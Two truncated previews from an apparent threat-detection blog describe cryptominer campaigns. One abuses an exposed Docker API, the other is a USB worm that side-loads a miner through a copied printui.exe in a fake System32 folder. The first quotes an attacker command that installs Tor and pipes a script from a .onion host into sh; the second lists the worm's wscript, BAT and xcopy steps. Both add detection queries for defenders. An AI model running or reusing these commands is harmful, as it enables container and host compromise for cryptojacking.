Know Your Adversary

Hello everyone! We are talking a lot about Windows threats, but let's look at Linux and containers today as these are common targets of those involved in cryptominers distribution. According to this report by Trend Micro, the threat actors abused a Docker remote API server to create a new container. The following base64-encoded command was executed: apk update && apk add curl tor && tor & while ! curl -fs --proxy socks5h://localhost:9050 https://checkip [.]amazonaws.com; do sleep 10; done; curl -fs --proxy socks5h://localhost:9050 http[:]//wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion/static/docker-init.sh | sh Despite the fact it was executed in the adversary-created container, it's good to relevant detections. For example, abusing apk to set up Tor: event_type: "processcreatenix" AND proc_file_name: "apk" AND cmdline: "add" AND "tor" One more thing - using cURL over Tor: event_type: "processc...

Hello everyone! In some cases even threat actors involved in cryptomining malware distribution leverage quite curious techniques. Today we'll look at an activity cluster colleagues from Red Canary track as  Tangerine Turkey (I like their taxonomy as well (Hi Katie and team :)). So, it's a worm, it's delivered via USB (yes, again), and it abuses printui.exe to run a cryptominer. Let's look how it works. Once the victim opens a malicious LNK file on an infected USB drive, wscript.exe executes a script: Look for suspicious VBS files executions from USB drives, for example:  WScript.exe "D:\rootdir\x455198.vbs" The script executes a BAT file from the same location. This file creates a new folder ( mkdir "\\?\C:\Windows \System32" ), abuses xcopy to copy printui.exe ( xcopy "C:\Windows\System32\printui.exe" "C:\Windows \System32" /Y ), copies malicious DAT file ( xcopy "x805299.dat" "%SystemDrive%\Windows \System32...